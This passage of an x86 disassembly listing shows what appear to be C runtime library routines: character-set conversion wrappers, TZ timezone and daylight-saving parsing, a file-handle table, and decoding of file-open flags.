sub_41BDAF proc near ; CODE XREF: sub_41826A+6Bp ; sub_41877B+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:off_41F020 test eax, eax jz short loc_41BDC7 xor esi, esi loc_41BDC7: ; CODE XREF: sub_41BDAF+14j mov eax, esi pop esi retn sub_41BDAF endp ; =============== S U B R O U T I N E ======================================= sub_41BDCB proc near ; CODE XREF: sub_41877B+73p ; sub_41877B+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call ds:off_41F178 test eax, eax jz short loc_41BDE3 xor esi, esi loc_41BDE3: ; CODE XREF: sub_41BDCB+14j mov eax, esi pop esi retn sub_41BDCB endp ; =============== S U B R O U T I N E ======================================= sub_41BDE7 proc near ; CODE XREF: sub_41877B+15Bp ; sub_41BD4B+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call ds:off_41F01C test eax, eax jz short loc_41BDFB xor esi, esi loc_41BDFB: ; CODE XREF: sub_41BDE7+10j mov eax, esi pop esi retn sub_41BDE7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_418A1C loc_41BDFF: ; CODE XREF: sub_418A1C:loc_418A6Dj push 0Ah call sub_41B235 push 16h call sub_41D474 pop ecx pop ecx push 3 call sub_415C9A ; END OF FUNCTION CHUNK FOR sub_418A1C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE16 proc near ; CODE XREF: sub_418BBD+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_41BE39 cmp [ebp+arg_8], ebx jz short loc_41BE39 mov al, [esi] cmp al, bl jnz short loc_41BE3F mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_41BE39 mov [eax], bx loc_41BE39: ; CODE XREF: sub_41BE16+Cj ; sub_41BE16+11j ... xor eax, eax loc_41BE3B: ; CODE XREF: sub_41BE16+42j ; sub_41BE16+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BE3F: ; CODE XREF: sub_41BE16+17j cmp dword_7422B4, ebx jnz short loc_41BE5A mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_41BE55 movzx ax, al mov [ecx], ax loc_41BE55: ; CODE XREF: sub_41BE16+36j ; sub_41BE16+C0j push 1 pop eax jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BE5A: ; CODE XREF: sub_41BE16+2Fj mov ecx, off_4377B0 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41BEB7 mov eax, dword_4379BC cmp eax, 1 jle short loc_41BE9E cmp [ebp+arg_8], eax jl short loc_41BEA8 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_7422C4 call ds:dword_41F110 ; MultiByteToWideChar test eax, eax mov eax, dword_4379BC jnz short loc_41BE3B loc_41BE9E: ; CODE XREF: sub_41BE16+5Cj cmp [ebp+arg_8], eax jb short loc_41BEA8 cmp [esi+1], bl jnz short loc_41BE3B loc_41BEA8: ; CODE XREF: sub_41BE16+61j ; sub_41BE16+8Bj ... mov dword_74222C, 2Ah or eax, 0FFFFFFFFh jmp short loc_41BE3B ; --------------------------------------------------------------------------- loc_41BEB7: ; CODE XREF: sub_41BE16+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_7422C4 call ds:dword_41F110 ; MultiByteToWideChar test eax, eax jnz loc_41BE55 jmp short loc_41BEA8 sub_41BE16 endp ; =============== S U B R O U T I N E ======================================= sub_41BEDE proc near ; CODE XREF: sub_418BBD+76p ; sub_418BBD+88p ... arg_0 = dword ptr 4 cmp dword_4379BC, 1 jle short loc_41BEF5 push 8 push [esp+4+arg_0] call sub_41686F pop ecx pop ecx retn ; --------------------------------------------------------------------------- loc_41BEF5: ; CODE XREF: sub_41BEDE+7j mov eax, [esp+arg_0] mov ecx, off_4377B0 mov al, [ecx+eax*2] and eax, 8 retn sub_41BEDE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF10 proc near ; CODE XREF: sub_418BBD+797p ; sub_418BBD+7E7p cmp cl, 40h jnb short loc_41BF2A cmp cl, 20h jnb short loc_41BF20 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_41BF20: ; CODE XREF: sub_41BF10+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_41BF2A: ; CODE XREF: sub_41BF10+3j xor eax, eax xor edx, edx retn sub_41BF10 endp ; =============== S U B R O U T I N E ======================================= sub_41BF2F proc near ; CODE XREF: sub_419633+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_41BF7B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_41BF4D test al, 80h jz short loc_41BF7B test al, 2 jnz short loc_41BF7B loc_41BF4D: ; CODE XREF: sub_41BF2F+14j cmp dword ptr [esi+8], 0 jnz short loc_41BF5A push esi call sub_41B388 pop ecx loc_41BF5A: ; CODE XREF: sub_41BF2F+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_41BF6A cmp dword ptr [esi+4], 0 jnz short loc_41BF7B inc eax mov [esi], eax loc_41BF6A: ; CODE XREF: sub_41BF2F+30j test byte ptr [esi+0Ch], 40h jz short loc_41BF81 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_41BF87 inc eax mov [esi], eax loc_41BF7B: ; CODE XREF: sub_41BF2F+9j ; sub_41BF2F+18j ... or eax, 0FFFFFFFFh loc_41BF7E: ; CODE XREF: sub_41BF2F+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41BF81: ; CODE XREF: sub_41BF2F+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_41BF87: ; CODE XREF: sub_41BF2F+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_41BF7E sub_41BF2F endp ; =============== S U B R O U T I N E ======================================= sub_41BF9D proc near ; CODE XREF: sub_41966E:loc_4196ADp cmp dword_7424E8, 0 jnz short locret_41BFB1 call sub_41BFB2 inc dword_7424E8 locret_41BFB1: ; CODE XREF: sub_41BF9D+7j retn sub_41BF9D endp ; =============== S U B R O U T I N E ======================================= sub_41BFB2 proc near ; CODE XREF: sub_41BF9D+9p var_48 = dword ptr -48h var_28 = dword ptr -28h var_8 = byte ptr -8 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_742430, ebp mov dword_438208, ebx mov dword_4381F8, ebx call sub_41D5E6 mov esi, eax pop ecx cmp esi, ebp jnz loc_41C0DB push offset dword_742438 call ds:off_41F150 cmp eax, ebx jz loc_41C20A mov eax, dword_742438 mov ecx, dword_74248C imul eax, 3Ch cmp word_74247E, bp push 1 pop edx mov dword_438160, eax mov dword_742430, edx jz short loc_41C029 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_438160, eax loc_41C029: ; CODE XREF: sub_41BFB2+69j cmp word_7424D2, bp jz short loc_41C04D mov eax, dword_7424E0 cmp eax, ebp jz short loc_41C04D sub eax, ecx mov dword_438164, edx imul eax, 3Ch mov dword_438168, eax jmp short loc_41C059 ; --------------------------------------------------------------------------- loc_41C04D: ; CODE XREF: sub_41BFB2+7Ej ; sub_41BFB2+87j mov dword_438164, ebp mov dword_438168, ebp loc_41C059: ; CODE XREF: sub_41BFB2+99j lea eax, [esp+18h+var_8] mov esi, ds:dword_41F10C push eax push ebp push 3Fh mov edi, 220h push off_4381EC push ebx push offset dword_74243C push edi push dword_7422C4 call esi ; WideCharToMultiByte test eax, eax jz short loc_41C096 cmp [esp+38h+var_28], ebp jnz short loc_41C096 mov eax, off_4381EC and byte ptr [eax+3Fh], 0 jmp short loc_41C09E ; --------------------------------------------------------------------------- loc_41C096: ; CODE XREF: sub_41BFB2+D1j ; sub_41BFB2+D7j mov eax, off_4381EC and byte ptr [eax], 0 loc_41C09E: ; CODE XREF: sub_41BFB2+E2j lea eax, [esp+38h+var_28] push eax push ebp push 3Fh push off_4381F0 push ebx push offset dword_742490 push edi push dword_7422C4 call esi ; WideCharToMultiByte test eax, eax jz loc_41C202 cmp [esp+58h+var_48], ebp jnz loc_41C202 mov eax, off_4381F0 and byte ptr [eax+3Fh], 0 jmp loc_41C20A ; --------------------------------------------------------------------------- loc_41C0DB: ; CODE XREF: sub_41BFB2+2Dj cmp byte ptr [esi], 0 jz loc_41C20A mov eax, dword_7424E4 cmp eax, ebp jz short loc_41C0FE push eax push esi call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41C20A loc_41C0FE: ; CODE XREF: sub_41BFB2+139j push dword_7424E4 call sub_413F7F push esi call sub_413E90 inc eax push eax call sub_413F0B add esp, 0Ch cmp eax, ebp mov dword_7424E4, eax jz loc_41C20A push esi push eax call sub_414FB0 push 3 push esi push off_4381EC call sub_415140 mov eax, off_4381EC add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_41C153 push 1 inc esi pop edi loc_41C153: ; CODE XREF: sub_41BFB2+19Bj push esi call sub_413CF4 pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_438160, ecx loc_41C16A: ; CODE XREF: sub_41BFB2+1C7j mov al, [esi] cmp al, 2Bh jz short loc_41C178 cmp al, bl jl short loc_41C17B cmp al, 39h jg short loc_41C17B loc_41C178: ; CODE XREF: sub_41BFB2+1BCj inc esi jmp short loc_41C16A ; --------------------------------------------------------------------------- loc_41C17B: ; CODE XREF: sub_41BFB2+1C0j ; sub_41BFB2+1C4j cmp byte ptr [esi], 3Ah jnz short loc_41C1CE inc esi push esi call sub_413CF4 imul eax, 3Ch pop ecx mov ecx, dword_438160 add ecx, eax mov dword_438160, ecx loc_41C199: ; CODE XREF: sub_41BFB2+1F2j mov al, [esi] cmp al, bl jl short loc_41C1A6 cmp al, 39h jg short loc_41C1A6 inc esi jmp short loc_41C199 ; --------------------------------------------------------------------------- loc_41C1A6: ; CODE XREF: sub_41BFB2+1EBj ; sub_41BFB2+1EFj cmp byte ptr [esi], 3Ah jnz short loc_41C1CE inc esi push esi call sub_413CF4 pop ecx mov ecx, dword_438160 add ecx, eax mov dword_438160, ecx loc_41C1C1: ; CODE XREF: sub_41BFB2+21Aj mov al, [esi] cmp al, bl jl short loc_41C1CE cmp al, 39h jg short loc_41C1CE inc esi jmp short loc_41C1C1 ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41BFB2+1CCj ; sub_41BFB2+1F7j ... cmp edi, ebp jz short loc_41C1DA neg ecx mov dword_438160, ecx loc_41C1DA: ; CODE XREF: sub_41BFB2+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_438164, eax jz short loc_41C202 push 3 push esi push off_4381F0 call sub_415140 mov eax, off_4381F0 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_41C20A ; --------------------------------------------------------------------------- loc_41C202: ; CODE XREF: sub_41BFB2+10Bj ; sub_41BFB2+115j ... mov eax, off_4381F0 and byte ptr [eax], 0 loc_41C20A: ; CODE XREF: sub_41BFB2+40j ; sub_41BFB2+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_41BFB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C210 proc near ; CODE XREF: sub_41966E+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_438164, edi jnz short loc_41C224 loc_41C21D: ; CODE XREF: sub_41C210+148j ; sub_41C210+150j ... xor eax, eax jmp loc_41C370 ; --------------------------------------------------------------------------- loc_41C224: ; CODE XREF: sub_41C210+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_4381F8 jnz short loc_41C242 cmp eax, dword_438208 jz loc_41C344 loc_41C242: ; CODE XREF: sub_41C210+24j cmp dword_742430, edi jz loc_41C31A movzx ecx, word_7424DE push ecx cmp word_7424D0, di movzx ecx, word_7424DC push ecx movzx ecx, word_7424DA push ecx movzx ecx, word_7424D8 push ecx jnz short loc_41C294 movzx ecx, word_7424D4 push edi push ecx movzx ecx, word_7424D6 push ecx movzx ecx, word_7424D2 push ecx push eax push ebx jmp short loc_41C2A8 ; --------------------------------------------------------------------------- loc_41C294: ; CODE XREF: sub_41C210+65j movzx ecx, word_7424D6 push ecx push edi movzx ecx, word_7424D2 push edi push ecx push eax push edi loc_41C2A8: ; CODE XREF: sub_41C210+82j push ebx call sub_41C3BC movzx eax, word_74248A add esp, 2Ch cmp word_74247C, di push eax movzx eax, word_742488 push eax movzx eax, word_742486 push eax movzx eax, word_742484 push eax jnz short loc_41C302 movzx eax, word_742480 push edi push eax movzx eax, word_742482 push eax movzx eax, word_74247E push eax push dword ptr [esi+14h] push ebx loc_41C2F7: ; CODE XREF: sub_41C210+108j push edi call sub_41C3BC add esp, 2Ch jmp short loc_41C344 ; --------------------------------------------------------------------------- loc_41C302: ; CODE XREF: sub_41C210+C8j movzx eax, word_742482 push eax push edi movzx eax, word_74247E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_41C2F7 ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C210+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_41C3BC push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_41C3BC add esp, 58h loc_41C344: ; CODE XREF: sub_41C210+2Cj ; sub_41C210+F0j mov edx, dword_4381FC mov eax, dword_43820C mov ecx, [esi+1Ch] cmp edx, eax jge short loc_41C374 cmp ecx, edx jl loc_41C21D cmp ecx, eax jg loc_41C21D cmp ecx, edx jle short loc_41C388 cmp ecx, eax jge short loc_41C388 loc_41C36E: ; CODE XREF: sub_41C210+166j ; sub_41C210+16Aj mov eax, ebx loc_41C370: ; CODE XREF: sub_41C210+Fj ; sub_41C210+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_41C374: ; CODE XREF: sub_41C210+144j cmp ecx, eax jl short loc_41C36E cmp ecx, edx jg short loc_41C36E cmp ecx, eax jle short loc_41C388 cmp ecx, edx jl loc_41C21D loc_41C388: ; CODE XREF: sub_41C210+158j ; sub_41C210+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_41C3AF xor ecx, ecx cmp eax, dword_438200 setnl cl loc_41C3AB: ; CODE XREF: sub_41C210+1AAj mov eax, ecx jmp short loc_41C370 ; --------------------------------------------------------------------------- loc_41C3AF: ; CODE XREF: sub_41C210+18Ej xor ecx, ecx cmp eax, dword_438210 setl cl jmp short loc_41C3AB sub_41C210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3BC proc near ; CODE XREF: sub_41C210+99p ; sub_41C210+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_41C457 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_41C3E7 shl esi, 2 mov eax, dword_438210[esi] jmp short loc_41C3F0 ; --------------------------------------------------------------------------- loc_41C3E7: ; CODE XREF: sub_41C3BC+1Ej shl esi, 2 mov eax, dword_438244[esi] loc_41C3F0: ; CODE XREF: sub_41C3BC+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_41C42A imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42A: ; CODE XREF: sub_41C3BC+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_41C434: ; CODE XREF: sub_41C3BC+6Cj cmp [ebp+arg_10], 5 jnz short loc_41C472 cmp [ebp+arg_8], 0 jnz short loc_41C448 mov esi, dword_438214[esi] jmp short loc_41C44E ; --------------------------------------------------------------------------- loc_41C448: ; CODE XREF: sub_41C3BC+82j mov esi, dword_438248[esi] loc_41C44E: ; CODE XREF: sub_41C3BC+8Aj cmp ecx, esi jle short loc_41C472 sub ecx, 7 jmp short loc_41C472 ; --------------------------------------------------------------------------- loc_41C457: ; CODE XREF: sub_41C3BC+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_41C468 mov ecx, dword_438210[eax*4] jmp short loc_41C46F ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C3BC+A1j mov ecx, dword_438244[eax*4] loc_41C46F: ; CODE XREF: sub_41C3BC+AAj add ecx, [ebp+arg_18] loc_41C472: ; CODE XREF: sub_41C3BC+7Cj ; sub_41C3BC+94j ... cmp [ebp+arg_0], 1 jnz short loc_41C4A3 mov eax, [ebp+arg_1C] mov dword_4381FC, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_4381F8, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_438200, eax jmp short loc_41C4F8 ; --------------------------------------------------------------------------- loc_41C4A3: ; CODE XREF: sub_41C3BC+BAj mov eax, [ebp+arg_1C] mov dword_43820C, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_438168 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_438210, eax jns short loc_41C4DB add eax, 5265C00h dec ecx mov dword_438210, eax jmp short loc_41C4EC ; --------------------------------------------------------------------------- loc_41C4DB: ; CODE XREF: sub_41C3BC+110j mov edx, 5265C00h cmp eax, edx jl short loc_41C4F2 sub eax, edx inc ecx mov dword_438210, eax loc_41C4EC: ; CODE XREF: sub_41C3BC+11Dj mov dword_43820C, ecx loc_41C4F2: ; CODE XREF: sub_41C3BC+126j mov dword_438208, ebx loc_41C4F8: ; CODE XREF: sub_41C3BC+E5j pop esi pop ebx pop ebp retn sub_41C3BC endp ; =============== S U B R O U T I N E ======================================= sub_41C4FC proc near ; CODE XREF: sub_41C716:loc_41C88Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_743540 loc_41C50B: ; CODE XREF: sub_41C4FC+48j mov eax, [ecx] test eax, eax jz short loc_41C548 lea edx, [eax+100h] loc_41C517: ; CODE XREF: sub_41C4FC+28j cmp eax, edx jnb short loc_41C537 test byte ptr [eax+4], 1 jz short loc_41C526 add eax, 8 jmp short loc_41C517 ; --------------------------------------------------------------------------- loc_41C526: ; CODE XREF: sub_41C4FC+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41C58B loc_41C537: ; CODE XREF: sub_41C4FC+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_743640 jl short loc_41C50B jmp short loc_41C58B ; --------------------------------------------------------------------------- loc_41C548: ; CODE XREF: sub_41C4FC+13j mov esi, 100h push esi call sub_413F0B test eax, eax pop ecx jz short loc_41C58B add dword_743640, 20h lea ecx, ds:743540h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41C56E: ; CODE XREF: sub_41C4FC+88j cmp eax, edx jnb short loc_41C586 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41C56E ; --------------------------------------------------------------------------- loc_41C586: ; CODE XREF: sub_41C4FC+74j shl edi, 5 mov ebx, edi loc_41C58B: ; CODE XREF: sub_41C4FC+39j ; sub_41C4FC+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41C4FC endp ; =============== S U B R O U T I N E ======================================= sub_41C591 proc near ; CODE XREF: sub_41C716+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_743640 push edi jnb short loc_41C5F1 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:743540h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41C5F1 cmp dword_4377A4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_41C5E7 sub eax, 0 jz short loc_41C5DE dec eax jz short loc_41C5D9 dec eax jnz short loc_41C5E7 push ebx push 0FFFFFFF4h jmp short loc_41C5E1 ; --------------------------------------------------------------------------- loc_41C5D9: ; CODE XREF: sub_41C591+3Ej push ebx push 0FFFFFFF5h jmp short loc_41C5E1 ; --------------------------------------------------------------------------- loc_41C5DE: ; CODE XREF: sub_41C591+3Bj push ebx push 0FFFFFFF6h loc_41C5E1: ; CODE XREF: sub_41C591+46j ; sub_41C591+4Bj call ds:off_41F018 loc_41C5E7: ; CODE XREF: sub_41C591+36j ; sub_41C591+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_41C605 ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C591+Cj ; sub_41C591+28j and dword_742230, 0 mov dword_74222C, 9 or eax, 0FFFFFFFFh loc_41C605: ; CODE XREF: sub_41C591+5Ej pop edi pop esi retn sub_41C591 endp ; =============== S U B R O U T I N E ======================================= sub_41C608 proc near ; CODE XREF: sub_419730+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_743640 push edi jnb short loc_41C66B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:743540h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41C66B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41C66B cmp dword_4377A4, 1 jnz short loc_41C661 xor eax, eax sub ecx, eax jz short loc_41C658 dec ecx jz short loc_41C653 dec ecx jnz short loc_41C661 push eax push 0FFFFFFF4h jmp short loc_41C65B ; --------------------------------------------------------------------------- loc_41C653: ; CODE XREF: sub_41C608+41j push eax push 0FFFFFFF5h jmp short loc_41C65B ; --------------------------------------------------------------------------- loc_41C658: ; CODE XREF: sub_41C608+3Ej push eax push 0FFFFFFF6h loc_41C65B: ; CODE XREF: sub_41C608+49j ; sub_41C608+4Ej call ds:off_41F018 loc_41C661: ; CODE XREF: sub_41C608+38j ; sub_41C608+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41C67F ; --------------------------------------------------------------------------- loc_41C66B: ; CODE XREF: sub_41C608+Cj ; sub_41C608+2Aj ... and dword_742230, 0 mov dword_74222C, 9 or eax, 0FFFFFFFFh loc_41C67F: ; CODE XREF: sub_41C608+61j pop edi pop esi retn sub_41C608 endp ; =============== S U B R O U T I N E ======================================= sub_41C682 proc near ; CODE XREF: sub_419730+32p ; sub_419730+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_743640 jnb short loc_41C6AA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_743540[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41C6AA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41C6AA: ; CODE XREF: sub_41C682+Aj ; sub_41C682+23j and dword_742230, 0 mov dword_74222C, 9 or eax, 0FFFFFFFFh retn sub_41C682 endp ; =============== S U B R O U T I N E ======================================= sub_41C6BF proc near ; CODE XREF: sub_41980E+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_743640 jnb short loc_41C708 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_743540[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41C708 push eax call sub_41C682 pop ecx push eax call ds:off_41F014 test eax, eax jnz short loc_41C6FD call ds:off_41F06C jmp short loc_41C6FF ; --------------------------------------------------------------------------- loc_41C6FD: ; CODE XREF: sub_41C6BF+34j xor eax, eax loc_41C6FF: ; CODE XREF: sub_41C6BF+3Cj test eax, eax jz short locret_41C715 mov dword_742230, eax loc_41C708: ; CODE XREF: sub_41C6BF+Aj ; sub_41C6BF+22j mov dword_74222C, 9 or eax, 0FFFFFFFFh locret_41C715: ; CODE XREF: sub_41C6BF+42j retn sub_41C6BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C716 proc near ; CODE XREF: sub_419BEA+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41C73C mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41C747 ; --------------------------------------------------------------------------- loc_41C73C: ; CODE XREF: sub_41C716+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41C747: ; CODE XREF: sub_41C716+24j mov eax, 8000h test ecx, eax jnz short loc_41C761 test ch, 40h jnz short loc_41C75D cmp dword_742510, eax jz short loc_41C761 loc_41C75D: ; CODE XREF: sub_41C716+3Dj or [ebp+var_1], 80h loc_41C761: ; CODE XREF: sub_41C716+38j ; sub_41C716+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41C799 dec eax jz short loc_41C790 dec eax jz short loc_41C787 loc_41C772: ; CODE XREF: sub_41C716+9Fj ; sub_41C716+E8j ... mov dword_74222C, 16h mov dword_742230, ebx jmp loc_41C9AC ; --------------------------------------------------------------------------- loc_41C787: ; CODE XREF: sub_41C716+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C790: ; CODE XREF: sub_41C716+57j mov [ebp+var_C], 40000000h jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C799: ; CODE XREF: sub_41C716+54j mov [ebp+var_C], 80000000h loc_41C7A0: ; CODE XREF: sub_41C716+78j ; sub_41C716+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41C7CE cmp eax, 20h jz short loc_41C7C5 cmp eax, 30h jz short loc_41C7BC cmp eax, 40h jnz short loc_41C772 mov [ebp+var_10], esi jmp short loc_41C7D1 ; --------------------------------------------------------------------------- loc_41C7BC: ; CODE XREF: sub_41C716+9Aj mov [ebp+var_10], 2 jmp short loc_41C7D1 ; --------------------------------------------------------------------------- loc_41C7C5: ; CODE XREF: sub_41C716+95j mov [ebp+var_10], 1 jmp short loc_41C7D1 ; --------------------------------------------------------------------------- loc_41C7CE: ; CODE XREF: sub_41C716+90j mov [ebp+var_10], ebx loc_41C7D1: ; CODE XREF: sub_41C716+A4j ; sub_41C716+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41C81B jz short loc_41C816 cmp ecx, ebx jz short loc_41C816 cmp ecx, edi jz short loc_41C80D cmp ecx, 200h jz short loc_41C834 cmp ecx, 300h jnz loc_41C772 mov [ebp+var_8], 2 jmp short loc_41C844 ; --------------------------------------------------------------------------- loc_41C80D: ; CODE XREF: sub_41C716+D8j mov [ebp+var_8], 4 jmp short loc_41C844 ; --------------------------------------------------------------------------- loc_41C816: ; CODE XREF: sub_41C716+D0j ; sub_41C716+D4j mov [ebp+var_8], esi jmp short loc_41C844 ; --------------------------------------------------------------------------- loc_41C81B: ; CODE XREF: sub_41C716+CEj cmp ecx, 500h jz short loc_41C83D cmp ecx, 600h jz short loc_41C834 cmp ecx, edx jz short loc_41C83D jmp loc_41C772 ; --------------------------------------------------------------------------- loc_41C834: ; CODE XREF: sub_41C716+E0j ; sub_41C716+113j mov [ebp+var_8], 5 jmp short loc_41C844 ; --------------------------------------------------------------------------- loc_41C83D: ; CODE XREF: sub_41C716+10Bj ; sub_41C716+117j mov [ebp+var_8], 1 loc_41C844: ; CODE XREF: sub_41C716+F5j ; sub_41C716+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41C863 mov ecx, dword_742234 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41C863 push 1 pop esi loc_41C863: ; CODE XREF: sub_41C716+138j ; sub_41C716+148j test al, 40h jz short loc_41C871 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41C871: ; CODE XREF: sub_41C716+14Fj test ah, 10h jz short loc_41C878 or esi, edi loc_41C878: ; CODE XREF: sub_41C716+15Ej test al, 20h jz short loc_41C884 or 